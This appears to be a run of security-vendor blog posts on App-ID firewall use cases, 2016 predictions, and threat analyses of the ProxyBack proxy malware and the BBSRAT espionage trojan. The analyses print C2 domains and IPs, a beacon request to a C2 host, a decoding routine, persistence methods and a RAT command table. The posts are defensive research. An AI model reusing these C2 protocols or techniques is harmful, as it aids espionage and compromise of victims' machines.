App-ID is a critical feature of our next-generation firewall. It’s one of the features, in fact, that lead to the market’s acceptance of next-generation firewalls and established Palo Alto Networks as a clear leader. This post will provide a few use cases to highlight App-ID’s purpose and power and why it’s foundational to our prevention-based approach to security.
Single Pass Parallel Processing is what allows Palo Alto Networks to maintain performance while using all of the firewall’s available features. User-ID integrates identities into the platform giving administrators the ability to create security policies with a source attribute of users and groups in addition to the typical IP address. User-ID also enables administrators to quickly identify who is doing what in an environment during an investigation. Many other features, including Content-ID and SSL Decryption, help make Palo Alto Networks the next-generation security platform that it is.
App-ID provides visibility into the applications being used in the environment regardless of the port. Once visibility is available, control can be achieved. App-ID uses all of the information provided by a stream of network traffic and uses a combination of IP addresses, ports, transaction characteristics, protocol decoders, heuristics, decryption, and more to identify the application.
Safe Application Enablement
Today’s widespread acceptance of SaaS applications is a challenge for IT because those applications are managed by a third party and the data is being stored in that third party’s data center.
One way to manage this type of SaaS while still providing users with the flexibility they want is to choose a cloud-based file collaboration solution that allows for identity directory integration. Microsoft OneDrive, Google Drive, and several other solutions offer identity integration.
Take Box.com as the example. When a user is added to the directory server they are also enabled with a Box.com account. When a user leaves an organization for whatever reason and directory accounts are disabled, so is the user’s access to all of those files in the Box.com cloud. Furthermore the IT administrator can change the password and gain access to the files.
The residual challenge is that even though the organization has standardized on Box.com there is nothing preventing users from uploading corporate data to other SaaS solutions.
This is one of many places where App-ID can help. A security policy can be implemented to allow access to Box.com with the source of all authenticated users. In the same policy we will then decrypt the SSL traffic. We can see whether people are uploading, downloading or both, as well as determine if known or unknown threats are being transmitted, and block them. This is all configured in a single policy.
People also use cloud-based file collaboration tools for personal data. We don’t want to stop them from listening to their music or sharing pictures of their family vacation – we want to safely enable them to do those things. As a second security policy we would permit all users to the application sub-category filesharing. However, we will decrypt the SSL traffic to gain visibility into what is happening in the sessions. If they are downloading non-malicious files, we are OK with that. If they download something malicious it will be blocked. And we can add a File Blocking profile that only permits downloads and not uploads.
The result? People can use the applications they have become accustomed to, and the organization prevents malware from getting into the network and data from going to unmanaged and undesirable destinations.
Operational Efficiency
Compared to the way traditional firewalls work, App-ID can drastically reduce the amount of security policies needed.
Most routers, switches, SANs and network security, among other network infrastructure technologies, have dedicated management interfaces. These products run a standard service like a web server but do so on various ports: 80, 8080, 8888, 7000, the list goes on.
With a legacy firewall a security policy will need to be implemented with both a source network of the LAN and the destination network of the management network. Each of the ports would then need to be configured as a custom object and added to the destination services to permit the traffic. This is a cumbersome and outdated way of doing things. And it could also lead to undesirable traffic.
Because App-ID doesn’t rely exclusively on ports, this rule could be consolidated to include just a single application — web browsing — rather than each of those ports individually. When permitting the application web browsing from the LAN into the management network you have the option to use the default port (80) or any port. By using any port the Palo Alto Networks appliance will determine if this really is regular web-browsing to a web server and if so permit the traffic. As in the previous example, you could also decrypt the SSL if it is enabled, prevent anything known to be malicious, and control uploads and downloads.
Preventing Malicious Activity
Users and malicious actors misuse or exploit regular TCP and UDP services to bypass security controls.
For example, regular users may want to get to a website that is prohibited by the security infrastructure. They will find or setup an HTTP proxy server of their own outside of the firewall. They configure their browser to point to their HTTP proxy server so that all requests will be sent over HTTP to their proxy server. The security infrastructure will simply see HTTP requests to some random destination on the Internet, the proxy server, and permit it. The proxy server then makes the connection to the desired website and then responds with that data to the user from the proxy server. The security infrastructure typically only sees HTTP requests.
A malicious user or malicious piece of software will eventually want to exfiltrate data. In many cases attackers will have an FTP server in the attacker network to which to dump data. If the FTP protocol is not permitted out of the compromised network, the attacker will find a service that is permitted, such as DNS, HTTP, or SSL. From there, attackers can easily change the port number on their FTP server to something that is allowed out of the compromised network and the data can be transferred.
Using App-ID prevents both of these issues. When the application web-browsing is permitted, App-ID can tell the difference between visiting a normal website and when HTTP is being used to wrap and proxy traffic to a different destination. There is an http-proxy application that could be used if there is a legitimate proxy server in the environment. Likewise, when an attacker attempts to use DNS (UDP/TCP port 53) to disguise FTP traffic, App-ID will identify this and the traffic will not be permitted unless it is actual DNS.
Application firewalling is a critical component of any network infrastructure today, but it’s just one piece of the puzzle. User-based security policies, visibility into encrypted traffic, prevention of known and unknown malicious behavior, and the ability to architect the same solution everywhere are also part what make Palo Alto Networks a true platform that can go well beyond the outmoded approaches provided by stateful inspection firewalls, endpoint products and UTM appliances.
Look out for future posts where we take a deeper dive and provide examples of how other components support the platform.
Ransomware will continue to evolve its methods of propagation and evasion techniques, hiding its communication and the targets it seeks. As reported by the Cyber Threat Alliance, ransomware has been very lucrative for cybercriminals to launch campaigns and, in a short period of time, derive large revenue streams. Today, the value of credit card data is low compared to ransomware, where higher value can be extracted from more victims.
Research by the Cyber Threat Alliance reported that CryptoWall v3 generated more than $325 million for the group behind it. This will drive further versions of ransomware-style attacks to be released, allowing more cybercriminals to extort users to pay the ransom to get the decryption key for their data. We predict seeing this crossing over to other platforms, such as Mac OS X and mobile operating systems.
2. Sharing of Threat Intelligence
Efforts have been around for years to share threat intelligence in some verticals, and we predict that 2016 will mark a year in which the private sector and security vendors look to share more of this than they ever have in Asia-Pacific. Today, many adversaries often write one piece of malware and send it to multiple organisations, with only minor changes made to make it undetectable. However, if we, as a community, can force cyber adversaries to create multiple unique attacks each time, it will force their costs to go up. And if we can share the information, the defender costs go down. The benefits grow exponentially if we automate this process whereby organisations do this in real time, whilst preventing the attacks. Knowing what kinds of actors are targeting you, the tools that they have available, and the tactics they employ allows organisations to defend their networks more effectively.
Although the debate continues on how effective these regulations will be, Asian governments should look to foster the sharing of threat intelligence, and organisations should think about how they can share in their vertical and go cross vertical in their efforts. We should ensure that there are responsible privacy protections in place for the purpose of identifying, preventing, mitigating and responding to cyberthreats, vulnerabilities, and malicious campaigns. The faster organisations can share this information, the better we can serve to protect each other and push the cost back to the attackers.
We expect this trend to continue, as more organisations begin to realise the benefits of sharing knowledge as a means to unify efforts to fight against cyber intrusions in Asia-Pacific.
3. Secondary Victim Attacks
More and more we are seeing that, when we know the motive of an attack, there is usually a secondary victim. The 2015 Verizon Data Breach Report highlighted that adversaries are using third-party websites to deliver their attacks. This often can mean that the person or organisation that experiences the initial breach isn’t the real target but rather a pawn in a bigger attack.
From the perspective of an attacker, this allows them to take advantage of trust and use the resources of another company for their gain. The most common method seen in Asia Pacific has been “watering hole attacks”, where an organisation’s website is infected with exploit code to try and infect visitors of their site. We predict that this will continue to rise with more reported incidents coming to light in 2016.
4. Trust in Our Security Models
Over the past few years, cyberattacks have escalated and gotten more aggressive and successful. Not only have we seen it become easier and cheaper to launch successful attacks, it has eroded our digital trust in online systems. That trust also extends itself to the failure of legacy security architectures due, not only to an outdated assumption that everything on the inside of an organisation’s network can be trusted, but also the inability of legacy countermeasures to provide adequate visibility, control and protection. We expect to see more organisations adopting new security models, such as “Zero Trust,” which is intended to remedy the deficiencies with perimeter-centric strategies and the legacy devices and technologies used to implement them. It does this by promoting “never trust, always verify” as its guiding principle.
This differs substantially from conventional security models that operate on the basis of “trust but verify”. Essential security capabilities are deployed in a way that provides policy enforcement and protection for all users, devices, applications and the communications traffic between them, regardless of their location. We expect this will continue across Asia-Pacific in 2016.
5. Attacking the Internet of Things
Whole new categories of digital device are getting connected to the Internet, from domestic appliances to home security, and the list goes on. Gartner predicts the number of connected things will rise from 6.5 billion in 2015 to almost 21 billion by 2020, growing by a staggering 5.5 million “things” each day. This will continue to accelerate in 2016. Sadly, we see no reason why these things won’t become a target for cybercrime. During this year we have seen some evidence of this emerging trend, like attacks on cars, smart rifles and many more shown at Black Hat USA in August this year. We don’t expect to see millions of devices compromised in 2016 across Asia-Pacific, but we should be prepared to see more attacks and proofs of concepts trying to exploit these types of devices.
6. Cybercrime Legislation
Asia-Pacific has often operated under very lax regulations when it comes to cybersecurity. It is a global issue; however, regulations to safeguard businesses and consumers are still evolving around the world. It’s unsurprising that the USA is taking the lead on this front, given the number of high-profile attacks reported to have targeted U.S. firms in recent years. This has resulted in cybersecurity becoming a focus for policy, most recently seeing the introduction of the Cybersecurity Information Sharing Act (CISA), which aims to help U.S. companies work with their government to combat hackers. Similarly, the European Union has laid out 14 actions to improve cybersecurity readiness, along with a policy on Critical Information Infrastructure Protection (CIIP), which aims to strengthen the security and resilience of vital ICT infrastructure by supporting high level preparedness, security and resilience capabilities at a national and EU level.
We expect that we will see a significant shift in the mindset of governments and regulators in Asia-Pacific to take on an even more active role in protecting the Internet and safeguarding its users. Cybercrime laws will be in discussion, and changes to outdated cybersecurity standards will be mandated to bolster an improved stance on security.
Want to explore more of our top 2016 cybersecurity predictions? Register now for Ignite 2016.
Anonymous proxies play an important role in protecting one’s privacy while on the Internet; however, when unsuspecting individuals have their systems turned into proxies without their consent, it can create a dangerous situation. Palo Alto Networks researchers recently discovered a family of malware, designated ProxyBack, and observed over 20 versions that have been used to infect systems as far back as March 2014.
The primary distribution observed by Palo Alto Networks is focused heavily in Europe with most targets belonging to educational institutions.
Figure 1 – ProxyBack distribution shown in AutoFocus
In this report, we’ll dive into the behavior of a recent sample of ProxyBack, examine how it establishes the victim proxy, and analyze the traffic using this service.
ProxyBack Malware
To be an effective proxy, network traffic must be able to flow through the proxy unhindered. In a typical setup, this may be accomplished by allowing a proxy system to receive traffic over a network socket designated for this function and then forwarding the network traffic on as its own.
Figure 2 – Classic proxy setup
The problem for a non-legitimate proxy is that the network traffic destined to reach the proxy server, which is a compromised system, will usually not be able to reach it because of firewalls or other network based restrictions put in place to protect systems.
Figure 3 – Corporate firewalls prevent the victim from being accessed in a classic proxy setup
ProxyBack gets over this hurdle by building a reverse tunnel over TCP to an attacker controlled proxy server. In other words, it has the victim proxy make the initial call home, thus allowing the proxy server to send its traffic through the tunnel and out to the Internet, or to other devices internal to that network.
Figure 4 – Victim proxy establishes a connection with the attacker-controlled server
Victim proxy pokes a hole in the firewall by establishing a TCP connection with the attacker controlled proxy server.
The proxy server validates it has access to the victim proxy and that it can successfully route traffic through it to the Internet.
The users of this proxy service are now able to route traffic through the attacker-controlled proxy and exit any of the victim proxies they’ve validated.
The victim proxy is now unwillingly participating in the routing of web traffic to the Internet
ProxyBack Analysis
To establish this tunnel, ProxyBack will initially make a connection to a web server hosting a PHP file that simply contains a URL to another PHP file on the same server. This subsequent PHP file will be used by the malware to send commands to the initial web server and fetch information used to setup its proxy connection. Each GET Request Method observed since early 2014 contains a User-Agent string of “pb”, which makes it trivial to detect.
Figure 5 – User-Agent “pb”
The first variable passed, “getip”, to the “command” parameter retrieves the public IP address of the victim proxy.
Figure 6 – “command=getip”
The second variable passed, “getid”, retrieves the ID for the victim proxy, which will be used in subsequent commands to keep track of the victim proxy. From the initial assessment of this malware until today, the ID number has continued to sequentially increment. So far, it has increased by 11,149, which may be indicative of the number of victim proxies compromised.
Figure 7 – “command=getid”
The third variable passed, “ghl”, to the “command” parameter receives an encoded base64 string for a URL. This URL led to another PHP file, which contained a URL to another PHP file; however, the subsequent URLs were never live during analysis.
Figure 8 – “command=ghl”
The fourth variable passed, “dl”, receives an encoded base64 string, “fA==”, which signifies the delimiter to be used in the subsequent command.
Figure 9 – “command=dl”
The fifth variable, “version”, deserves some extra attention as it has changed during the course of this analysis. Initially, the URI included the ID of the victim proxy and the variable “version” passed to the “command” parameter; now, the URI includes the version of the running malware, the victim proxy ID, and the running operating system.
Figure 10 – Old “command=version”
Figure 11 – New “command=version” with current version and OS
Additionally, the ProxyBack malware is capable of reporting the following operating system versions, which suggests it can run each of them.
Figure 12 – Operating Systems
The content returned from the fifth command remains similar between versions. The “version” variable receives an encoded base64 string that includes the version number of the malware and a URL to the malware version, delimited by the previously retrieved character. Another change noted is that versions were previously in the following format, “17.exe”, “20.exe”, and “41.exe”; whereas in November 2015 they started to include the first three letters of the web server domain in which they are hosted, such as “sof1.8.exe” on “softwearfounds[.]com” and “sky2.1.exe” on “skyjfasters[.]com”.
Figure 13 – Old “command=version” response
Figure 14 – New “command=version” response
Figure 15 – New “command=version” response
At this point, if the version running deviates from the version returned, it will use the GET Request Method and download the version provided in the output of the “version” variable. After that, the process restarts from the beginning but will keep the same ID value that was previously assigned.
Figure 16 – Downloading the new version
The next variable passed, “getbackconnect”, to the “command” parameter is used to get the IP address and port of the remote system with which the victim proxy should establish the reverse tunnel.
Figure 17 – “command=getbackconnect”
Once the ProxyBack malware has this information, it begins the process of building the TCP session to be used over the course of this session. For this particular sample, the destination port provided was “495”. After the TCP handshake completes, a series of packets with PSHACK flags are transmitted back and forth containing data appended to them that control the flow of this process.
The first packet in this series is sent from the victim proxy to the malicious proxy server and includes a sequence number, followed by a null byte, followed by two bytes that serve as delimiters for the rest of the data.
Figure 18 – Sequence 1, Initial PSHACK packet
The proxy server replies with the next packet in the sequence that tells the malware what IP and port to pass as variables in the next GET Method Request to the original server. The last two bytes tell the malware which new socket to open a TCP connection to for transferring the data that is being sent through the TCP tunnel.
ProxyBack now passes the variable “update2” to the “command” parameter with the additional data received from the PSHACK. The web server simply replies with an “Ok”.
Figure 20 – “command=update2”
The next PSHACK in the series is sent to the victim proxy and tells the malware to create a TCP session over the additional port provided in the second sequence of the PSHACK packets.
Figure 21 – Sequence 3, Stop and switch
Figure 22 – Switching ports
The victim proxy sends the 4th PSHACK packet to let the proxy server know it’s ready to continue on the new port.
Figure 23 – Sequence 4, Continuation
Similar to the first packet in this PSHACK series, the proxy server initializes the session with a delimiter to be used in subsequent commands.
Figure 24 – Sequence 5, New delimiter
Also of note is the value 0x02 after the sequence number. This seems to indicate additional commands for this phase are to follow, or possibly the number of packets to expect. The victim proxy responds with the value 0x0500 and then the proxy server sends the final packet in this sequence, which contains an IP address and a destination port, which the ProxyBack malware will open a TCP session with.
After the handshake is complete, the victim proxy notifies the proxy server of the source IP and source port used in the three-way handshake as the last PSHACK packet in sequence 5.
As the last validation step, the proxy server issues a GET Request Method through the tunnel established over TCP/5114 and the victim proxy forwards it on.
Figure 27 – Validating the victim proxy
The return data from 188.116.23.99 is sent back to 46.165.222.212 over TCP/5114 as data in a PSHACK packet, which completes the validation phase. It’s interesting to note that the proxy server IP and “secret” key are included in the URI. The returned data is a serialized PHP formatted configuration file with information about the web server hosting it. The “secret_string” variable observed in the URI and the configuration file has not changed since the first samples were seen in March of 2014.
Figure 28 – Returned configuration
Traffic will begin to flow through the victim proxy once it has been validated
Figure 29 – Traffic going through victim proxy
Every 27 minutes, the ProxyBack malware on the victim machine will send the “update” variable to the “command” parameter on the original web server hosting the PHP file to see if it needs to change malicious proxies or update it’s software.
Figure 30 – Software update
To wrap up this section, below are the available commands found in the old and new versions of the ProxyBack malware. Throughout the period this malware was observed, neither “log” nor “update” variables were ever passed to the “command” parameter.
Figure 31 – Available commands
Conclusion
When a system infected with ProxyBack was actively operating, there was an sizeable volume of traffic being routed through. It was clear that there were legitimate, benign, users of the SOCKS proxy, along with malicious users as well, further adding weight to the conclusion that this is a proxy service. Users of these services should be aware that their traffic is neither anonymous nor safe from tampering.
Upon review of the web traffic routed through our victim proxy, the majority of that traffic appeared to source from an automated system creating fake accounts and soliciting people across dating sites like “farmersonly.com”, “match.com”, “meetme.com”, and “okcupid.com”. The legitimate traffic included sites like eBay, Twitter, Craigslist, Facebook, Wikipedia, and more.
Another website that stood out during this review was “buyproxy.ru”, which was the only site that seemed to match a proxy service found within our captures. Looking deeper into this traffic, we see a GET Request Method to http://buyproxy.ru/proxy/ at less than 4 hours into our capture, which lists our victim proxy.
Figure 32 – Web source that contains victim proxy
What’s interesting to note here is that our victim proxy’s reverse PTR record is shown in the sixth column, whereas in the second column, our malicious proxy server is listed for users to presumably connect to. In an odd twist of fate, the same users of the service also betray it.
Figure 33 – Proxy connection with “185.72.244.171”
When visiting the buyproxy[.]ru site, it states in their FAQ that they have been in business for over seven years, they provide only private proxy servers that are not in public proxy bases, they average between 700-3,000 proxies per day, proxies usually live between 4 to 24 hours, nothing is logged, and they use a “BackEnd proxy” which shares an IP for access but distributes the exit. In addition, on their main page they tout that the connections are encrypted and use a “proprietary technology of traffic tunneling”.
When accessing the site with a registered account, you are presented with three proxy options:
“Private proxy” – Supposedly maintained by “buyproxy[.]ru”.
“Public proxy list” – Public proxies.
“Personal proxies” – Proxies dedicated to the buyer.
Figure 34 – “buyproxy[.]ru” main menu
On the “Private proxy” page we find our victim proxy under the United States, among others. One thing that immediately stands out is yellow highlighted entries, which follow the same characteristics as our victim proxy. The IP address differs from the listed domain, possibly implying they are also victim proxies.
Figure 35 – Victim proxies
Whether the people behind “buyproxy[.]ru” are responsible for the distribution of the ProxyBack malware or not is unknown; however, it is clear that the ProxyBack malware is designed for, and used in, their service.
Palo Alto Networks has released the IPS signature 14864 to detect and block ProxyBack traffic. WildFire properly classifies ProxyBack executables as malicious and AutoFocus users can track this threat using the ProxyBack tag.
Addressing the evolving threat landscape is a key factor in security, but organizations also want security that can keep up with the new, distributed and dynamic environments that they are building and adopting. In other words, they want to have their cake and eat it too.
In order to accommodate this shift, security will have to go where the applications, users and data are. And that’s not easy because all three are going everywhere. This new, distributed foundation is the basis for more agile and efficient IT – but it all needs to be secured to deliver benefits at an acceptable level of risk.
In 2016, this need will manifest itself in three key ways:
Develop Full Situational Awareness
Security systems that operate on IT-level context (e.g., applications and users) will become all the more relevant, as “divining” high-level activities based on low-level context (e.g., ports, protocols) is a losing proposition. In other words, higher-level information will drive better security posture.
Programmable, Adaptable Security
Security is rarely an end in itself. When we’ve come to think of it that way, it’s because it was applied to overall environments that were static in nature. Now, with on-demand, elastic environments in vogue, securing capability also has to be dynamic.
Looking Within – the Need for Segmentation
Micro-segmentation has made the topic of segmentation “cool again,” but it’s really broader than just a virtualized data center use case. And it’s not segmentation in the sense of barriers or pure isolation. Elements (e.g., computers) between segments need to interact, but it’s more like a membrane where you get to determine what gets through (in a language that you can understand) and, beyond that, how the interaction is inspected for threats.
Securing a static environment from cyberthreats may be easier to achieve, but customers want more. That’s why, even in the face of ever-increasing threats, security platforms must also account for the new, dynamic and distributed models of IT that organizations are deploying.
Want to explore more of our top 2016 cybersecurity predictions? Register now for Ignite 2016.
In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other Russian speaking nations, dubbed “Roaming Tiger”. The attack was found to heavily rely on RTF exploits and at the time, thought to make use of the PlugX malware family.
ESET did not attribute the attacks to a particular attack group, but noted that the objective of the campaign was espionage and general information stealing. Based on data collected from Palo Alto Networks AutoFocus threat intelligence, we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe, with a concentration of attacks in late October and continuing into December.
The adversaries behind these attacks continued to target Russia and other Russian speaking nations using similar exploits and attack vectors. However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT.”
Targeting and Infrastructure
As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. The files exploit the well-known Microsoft Office vulnerability, CVE-2012-0158, to execute malicious code in order to take control of the targeted systems.
Figure 1 Spear-phishing email delivering BBSRAT
In one case, the adversary impersonated an individual from the organization Vigstar, a Russian-based research organization in charge of the development of satellite communications and special purpose wireless devices for the Russian Federation’s defense and security agencies. The targeted email address appeared to be a Gmail account associated with Vigstar as well, and was found on a job board website for a job opening at Vigstar.
The rough translation of the body of the email is as follows:
I send you a “list of international exhibitions of military, civil and dual-purpose, conducted in 2015 on the territory of the Russian Federation and foreign states.” Waiting for your reply!
Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015.
Figure 2 Decoy document that is opened after the malicious document has infected the system
In more recent months, we have identified several other potential Russian victims using AutoFocus. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. Interestingly, all of the previously published C2 domains have significant overlap amongst the hashes and IPs while C2s for BBSRAT contain no overlap at all. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets.
Figure 3 Command and control infrastructure
BBSRAT Malware Analysis
Deployment Technique #1
BBSRAT is typically packaged within a portable executable file, although in a few of the observed instances, a raw DLL was discovered to contain BBSRAT. When the dropper first runs, it will generate a path in the %TEMP% directory. The generated filename is 10-16 uppercase alphabetic characters, and ends with a ‘.TMP’ file extension. The dropper will continue to write an embedded cab file in this location.
Figure 4 Header of CAB file dropped by BBSRAT
The malware will proceed to create one of the following directories depending on what version of Microsoft Windows is running on the target machine:
%ALLUSERSPROFILE%\SSONSVR
%ALLUSERSPROFILE%\Application Data\SSONSVR
Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory:
This results in the following three files being written to the SSONSVR directory:
aclmain.sdb
pnipcn.dll
ssonsvr.exe
The ‘ssonsvr.exe’ file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file. The ‘aclmain.sdb’ file contains code that will eventually be loaded by the ‘pnipcn.dll’ file.
The malware finally executes ‘ssonsvr.exe’ via a call to ShellExecuteW.
Figure 5 Execution flow of dropper expanding CAB file
When ‘ssonsvr.exe’ is executed, and the pnipcn.dll file is loaded, it will begin by identifying the path to msiexec.exe, by expanding the following environment string:
%SystemRoot%\System32\msiexec.exe
It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process.
Figure 6 Sideloading execution flow
In order to ensure persistence, the following registry key is written on the victim’s machine:
In the most recently observed sample of BBSRAT found in AutoFocus, the Trojan was deployed via a downloader that used the Invoke-ReflectivePEInjection.ps1 script from the PowerSploit framework.
When the downloader executes, it will first decrypt the following two strings using a 5-byte XOR key of “\x01\x02\x03\x04\x05”:
These strings are then sequentially executed via calls to WinExec. As we can see, the second command is specifically crafted to run on 64-bit versions of Microsoft Windows. The commands in question will download an executable file and run it within the context of the powershell process.
When the above commands are executed, the downloader will initially download the ‘IR.ps1’ powershell script from the specified URL:
Figure 7 Downloader downloading the Invoke-ReflectivePEInjection PowerSploit script
This Powershell script appears to have been pulled directly from the PowerSploit framework, with no modifications made. The malware then invokes this script with a URL that points to an additional executable file. This downloaded executable contains a copy of the BBSRAT malware family.
The downloader proceeds to drop either a 32-bit or 64-bit DLL file that will execute the two previously stated Powershell commands when the DLL is loaded. This DLL is dropped to one of the following locations:
%SYSTEMROOT%\web\srvcl32.dll
%APPDATA%\web\srvcl32.dll
Additionally, the following registry keys are set depending on the system’s CPU architecture:
The COM object for {42aedc87-2188-41fd-b9a3-0c966feabec1} is specific to ‘MruPidlList’, while the COM object for {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} is specific to ‘Microsoft WBEM New Event Subsystem’. This ensures that the DLL specified will load when Microsoft Windows starts. It is a technique that was used by the ZeroAccess rootkit when it initially surfaced.
BBSRAT Execution
After being loaded using one of the two techniques discussed, BBSRAT malware begins execution by loading the following libraries at runtime:
ntdll.dll
kernel32.dll
user32.dll
advapi32.dll
gdi32.dll
ws2_32.dll
shell32.dll
psapi.dll
Secur32.dll
WtsApi32.dll
Netapi32.dll
Version.dll
Crypt32.dll
Wininet.dll
The following mutex is then created to ensure a single instance of BBSRAT is running at a given time:
Global\GlobalAcProtectMutex
Throughout the execution of BBSRAT, it will dynamically load functions prior to calling them, as seen in the example below demonstrating BBSRAT making a call to the WSAStartup function:
Figure 8 BBSRAT calling WSAStartup function
The malware proceeds to parse the stored embedded network configuration and spawns a series of threads responsible for network communication. This includes a series of HTTP or HTTPS requests, such as the following:
GET /bbs/1/forum.php?sid=1 HTTP/1.1 Cookie: A46A8AA9-D7D6-43FB-959DC96E Content-Length: User-Agent: Mozilla/4.0 (compatible; Windows NT 5.1) Connection: Keep-Alive Host: transactiona[.]com Cache-Control: no-cache Accept: */* Content-Type:
In the above example, the ‘1’ used both in the URI and the sid GET parameter is a global incremental counter. Every subsequent request made by BBSRAT increments this counter by one. Additionally, all variants of BBSRAT we have found use the same URL for command and control (C2) communication.
When first executed, the malware will exfiltrate data about the victim’s machine via a POST request to the ‘/bbs/[counter]/forum.php?sid=[counter]’ URL. All network data sent via POST requests uses a custom binary structure, as defined as the following:
1
2
3
4
5
6
7
8
9
10
11
structnetwork_header
{
DWORD random;
DWORD hardcoded0;
DWORD hardcoded1;
DWORD command;
DWORD length_of_compressed_data;
DWORD length_of_decompressed_data;
DWORD unknown2;
BYTEcompressed_data[];
};
The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data:
1
2
3
4
5
6
7
8
def decrypt(data):
out=[]
forxindata:
t=(ord(x)–23)
t1=(t^62)
t2=(t1+23)&0xFF
out.append(chr(t2))
returnout
The following data structure holds the victim’s information that is uploaded by BBSRAT:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
structvictim_information
{
DWORD static_value;
DWORD major_version;
DWORD minor_version;
DWORD build_number;
DWORD platform_id;
DWORD default_locale;
DWORD unknown;
DWORD local_ip_address;
DWORD running_as_64_bit;
DWORD random;
DWORD unknown2;
DWORD struct_length;
DWORD struct_with_not_used_length;
DWORD struct_with_username_length;
DWORD struct_with_group_length;
DWORD unknown3;
DWORD struct_with_hostname_length;
WCHAR not_used[??];
WCHAR username[??];
WCHAR group[??];
WCHAR hostname[??];
};
BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified:
Command
Sub-command
Description
0x110010
N/A
Beacon
0x110011
N/A
Uninstall/Kill Malware
0x110020
N/A
Upload Victim Information
0x110064
0x2
Execute Command and Return Response
0x110064
0x4
Unknown
0x110064
0x5
Execute Shellcode
0x110066
0x7
Query Service Configuration
0x110066
0x9
Start Service
0x110066
0xa
Stop Service
0x110066
0xb
Delete Service
0x110066
0xc
Change Service Configuration
0x110063
0xd
Enumerate Running Processes
0x110063
0xf
Kill Process
0x110063
0x10
Get Process Information
0x110063
0x12
Free Library for Specified Process
0x110065
0x1b
Execute Command Quietly
0x110065
0x1e
Send Input to Console
0x110065
0x1f
Execute Shellcode
0x110061
0x20
List Drive Information
0x110061
0x21
List File Information For Given Directory
0x110061
0x23
Write File
0x110061
0x24
Read File
0x110061
0x25
List File Information For Given Directory
0x110061
0x27
Perform File Operation via SHFileOperation()
0x110061
0x28
Delete File
0x110061
0x29
Create Directory
0x110061
0x2a
Shell Execute
Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers.
Conclusion
As in many of the previous articles regarding espionage-motivated adversaries and possible nation-state campaigns, what is being observed in this attack campaign is a continued operation and evolution by the adversary even after its tactics, techniques, and procedures (TTPs) have become public knowledge. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook. We urge organizations to use the data from Unit 42 and other threat intelligence sources is paramount to proactively secure themselves and prevent attacks.
WildFire properly classifies BBSRAT malware samples as malicious. We have released DNS signatures to block access to the C2 domain names included in this report. AutoFocus users can explore these attacks using the BBSRAT malware family tag.
